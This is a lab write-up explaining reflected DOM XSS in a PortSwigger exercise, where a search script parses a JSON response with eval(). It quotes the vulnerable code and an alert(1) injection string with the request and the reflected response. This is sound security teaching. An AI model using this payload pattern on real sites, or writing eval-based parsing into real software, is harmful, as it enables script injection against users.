[This lab](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected) demonstrates **reflected DOM XSS** in a modern front-end context, where a **JSON API response** is **insecurely parsed using `eval()`**. This pattern still occurs in legacy or poorly maintained JavaScript codebases — particularly where developers misunderstand the difference between `eval()` and `JSON.parse()`. --- ##### Breakdown of `searchResults.js` ```javascript function search(path) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { eval('var searchResultsObj = ' + this.responseText); displaySearchResults(searchResultsObj); } }; xhr.open("GET", path + window.location.search); xhr.send(); } ``` ##### ❗️ Key vulnerability: - **`eval()` is used to parse JSON**: ```js eval('var searchResultsObj = ' + this.responseText); ``` If `this.responseText` contains attacker-controlled content (like a poisoned `searchTerm`), arbitrary JS will be executed. - **The JSON comes from**: ```http GET /search-results?search=\"-alert(1)}// ``` Which returns: ```json {"results":[],"searchTerm":"\\\"-alert(1)}//"} ``` --- ##### Exploit Mechanics ##### Injected string: ```text \"-alert(1)}// ``` ##### Reflected JSON: ```json { "searchTerm": "\\\"-alert(1)}//", "results": [] } ``` ##### After `eval()` processing: ```javascript var searchResultsObj = { searchTerm: "\"-alert(1)}//", results: [] }; ``` But **due to improper escaping**, what the browser _actually_ sees during parsing is: ```javascript var searchResultsObj = {searchTerm: ""; -alert(1)}// ``` ➡️ `alert(1)` is evaluated as standalone JavaScript ➡️ Remaining code is commented out ➡️ **XSS is executed immediately in the DOM** --- ##### Why This is Dangerous |Vector|Risk| |---|---| |Use of `eval()` on untrusted input|Executes arbitrary JS — **code injection** vulnerability| |Broken escaping of backslashes|Allows escape from JSON string into raw JS context| |No validation or encoding of `searchTerm`|User controls executable code path via the URL| |No CSP header or JS sandboxing|Browser executes payload without restrictions|